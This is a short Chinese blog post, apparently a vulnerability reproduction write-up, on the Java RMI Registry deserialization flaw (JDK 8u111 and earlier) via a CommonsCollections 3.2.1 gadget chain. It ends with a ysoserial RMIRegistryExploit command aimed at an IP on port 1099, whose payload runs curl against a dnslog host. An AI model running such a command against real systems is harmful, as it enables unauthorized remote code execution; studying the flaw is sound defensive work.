Java RMI Registry 反序列化漏洞(＜=jdk8u111)

n1ght_X

于 2023-03-13 15:57:23 发布

阅读量417

点赞数

文章标签： web安全

本文链接：https://blog.youkuaiyun.com/zzzzz1284/article/details/129496464

版权

文章讨论了JavaRMI（远程方法调用）中的一个安全问题，特别是关于远程bind功能的潜在风险。攻击者可以利用CommonsCollections3.2.1版本中的漏洞，通过伪造序列化数据来触发利用链。复现场景描述了如何使用ysoserial工具的RMIRegistryExploit来攻击运行在1099端口的RMIRegistry，导致执行恶意代码。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

原因

Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind)，在bind过程中，伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象)，使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1).

复现

环境启动后，RMI Registry监听在1099端口。

通过ysoserial的exploit包中的RMIRegistryExploit进行攻击

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 101.43.191.94 1099 CommonsCollections6 "curl http://lhc.yy7yip.dnslog.cn"